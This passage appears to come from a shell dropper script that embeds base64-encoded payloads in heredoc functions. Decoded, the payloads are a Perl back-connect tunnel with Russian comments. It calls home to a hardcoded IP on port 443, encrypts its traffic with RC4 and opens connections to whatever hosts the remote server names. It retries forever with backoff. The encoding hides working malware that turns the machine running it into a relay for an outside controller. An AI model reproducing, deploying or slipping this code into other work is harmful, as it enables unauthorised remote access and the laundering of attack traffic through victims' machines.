cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_45() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
